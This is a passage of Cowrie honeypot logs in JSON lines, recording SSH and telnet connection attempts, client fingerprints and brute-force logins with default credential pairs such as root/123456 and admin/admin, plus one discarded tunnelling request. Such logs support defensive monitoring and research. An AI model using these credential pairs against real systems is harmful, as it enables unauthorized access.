0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:45.921126Z","src_ip":"31.40.204.166","session":"32540879efb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:46.833259Z","src_ip":"31.40.204.166","session":"32540879efb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:47.996458Z","src_ip":"31.40.204.166","session":"32540879efb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.28943705558777,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:55.409905Z","src_ip":"152.42.224.71","session":"18e2e1aedc4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44510,"dst_ip":"10.17.0.5","dst_port":23,"session":"94c98853afe2","protocol":"telnet","message":"New connection: 152.42.224.71:44510 (10.17.0.5:23) [session: 94c98853afe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:56.885602Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43482,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a6b4724df26","protocol":"ssh","message":"New connection: 31.40.204.166:43482 (159.203.135.109:22) [session: 9a6b4724df26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:57.408300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:57.488101Z","src_ip":"31.40.204.166","session":"9a6b4724df26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:57.616997Z","src_ip":"31.40.204.166","session":"9a6b4724df26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:58.418569Z","src_ip":"31.40.204.166","session":"9a6b4724df26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44512,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a18d95751e4","protocol":"telnet","message":"New connection: 152.42.224.71:44512 (10.17.0.5:23) [session: 0a18d95751e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:59.048856Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:43:59.603786Z","src_ip":"31.40.204.166","session":"9a6b4724df26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.745285749435425,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:01.363020Z","src_ip":"152.42.224.71","session":"0f9b08cf84e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44514,"dst_ip":"10.17.0.5","dst_port":23,"session":"00ec6d6d394d","protocol":"telnet","message":"New connection: 152.42.224.71:44514 (10.17.0.5:23) [session: 00ec6d6d394d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:03.391787Z"}
{"eventid":"cowrie.session.closed","duration":38.65607762336731,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:04.070193Z","src_ip":"152.42.224.71","session":"8abeeaf26535","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.58951759338379,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:04.109583Z","src_ip":"152.42.224.71","session":"71cb1a815dee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26668,"dst_ip":"10.17.0.5","dst_port":22,"session":"96718cc318a7","protocol":"ssh","message":"New connection: 87.251.64.176:26668 (10.17.0.5:22) [session: 96718cc318a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:08.364468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:08.373819Z","src_ip":"87.251.64.176","session":"96718cc318a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:08.470823Z","src_ip":"87.251.64.176","session":"96718cc318a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:08.847754Z","src_ip":"87.251.64.176","session":"96718cc318a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:08.965583Z","session":"96718cc318a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:09.063853Z","src_ip":"87.251.64.176","session":"96718cc318a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:09.168553Z","src_ip":"87.251.64.176","session":"96718cc318a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53630,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5d0e0d9fd72","protocol":"ssh","message":"New connection: 31.40.204.166:53630 (159.203.135.109:22) [session: f5d0e0d9fd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:09.184032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:09.188721Z","src_ip":"31.40.204.166","session":"f5d0e0d9fd72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:09.318141Z","src_ip":"31.40.204.166","session":"f5d0e0d9fd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35308,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bf8fd136ee9","protocol":"telnet","message":"New connection: 152.42.224.71:35308 (10.17.0.5:23) [session: 5bf8fd136ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:10.203527Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:10.218736Z","src_ip":"31.40.204.166","session":"f5d0e0d9fd72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:11.399697Z","src_ip":"31.40.204.166","session":"f5d0e0d9fd72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35324,"dst_ip":"10.17.0.5","dst_port":23,"session":"d32347353611","protocol":"telnet","message":"New connection: 152.42.224.71:35324 (10.17.0.5:23) [session: d32347353611]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:13.579601Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58006,"dst_ip":"10.17.0.5","dst_port":23,"session":"472cdaf71436","protocol":"telnet","message":"New connection: 152.42.224.71:58006 (10.17.0.5:23) [session: 472cdaf71436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:16.961722Z"}
{"eventid":"cowrie.session.closed","duration":35.10901069641113,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:18.431409Z","src_ip":"152.42.224.71","session":"2ee7004e9cea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":54818,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c89ff7946c9","protocol":"ssh","message":"New connection: 31.40.204.166:54818 (159.203.135.109:22) [session: 0c89ff7946c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:20.887315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:20.901598Z","src_ip":"31.40.204.166","session":"0c89ff7946c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:21.217098Z","src_ip":"31.40.204.166","session":"0c89ff7946c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"amit","message":"login attempt [amit/amit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:21.886570Z","src_ip":"31.40.204.166","session":"0c89ff7946c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:23.087277Z","src_ip":"31.40.204.166","session":"0c89ff7946c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58018,"dst_ip":"10.17.0.5","dst_port":23,"session":"4990df2722ff","protocol":"telnet","message":"New connection: 152.42.224.71:58018 (10.17.0.5:23) [session: 4990df2722ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:25.221282Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39952,"dst_ip":"10.17.0.5","dst_port":23,"session":"a80ac7af9adc","protocol":"telnet","message":"New connection: 152.42.224.71:39952 (10.17.0.5:23) [session: a80ac7af9adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:27.539764Z"}
{"eventid":"cowrie.session.closed","duration":120.00289034843445,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:29.350761Z","src_ip":"152.42.224.71","session":"56df463ab337","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39960,"dst_ip":"10.17.0.5","dst_port":23,"session":"61d34aa4d8a5","protocol":"telnet","message":"New connection: 152.42.224.71:39960 (10.17.0.5:23) [session: 61d34aa4d8a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:30.344648Z"}
{"eventid":"cowrie.session.closed","duration":120.00142335891724,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:30.703566Z","src_ip":"176.65.139.118","session":"9af900e44aed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":94.87870383262634,"message":"Connection lost after 94 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:32.039797Z","src_ip":"152.42.224.71","session":"7cb7d12cde77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":39274,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0043a7ce3df","protocol":"ssh","message":"New connection: 193.228.128.84:39274 (10.17.0.5:22) [session: f0043a7ce3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:33.598878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:33.602014Z","src_ip":"193.228.128.84","session":"f0043a7ce3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33502,"dst_ip":"159.203.135.109","dst_port":22,"session":"41aa2c0c2661","protocol":"ssh","message":"New connection: 31.40.204.166:33502 (159.203.135.109:22) [session: 41aa2c0c2661]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:33.687110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:33.698368Z","src_ip":"31.40.204.166","session":"41aa2c0c2661","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:33.703721Z","src_ip":"193.228.128.84","session":"f0043a7ce3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:33.819603Z","src_ip":"31.40.204.166","session":"41aa2c0c2661","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvekz","message":"login attempt [root/vfvekz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:34.010450Z","src_ip":"193.228.128.84","session":"f0043a7ce3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":39318,"dst_ip":"10.17.0.5","dst_port":22,"session":"954383cb75d5","protocol":"ssh","message":"New connection: 179.176.210.17:39318 (10.17.0.5:22) [session: 954383cb75d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:34.464725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:34.473572Z","src_ip":"179.176.210.17","session":"954383cb75d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grok","password":"grok","message":"login attempt [grok/grok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:44:34.492789Z","src_ip":"31.40.204.166","session":"41aa2c0c2661","protocol":"ssh"}
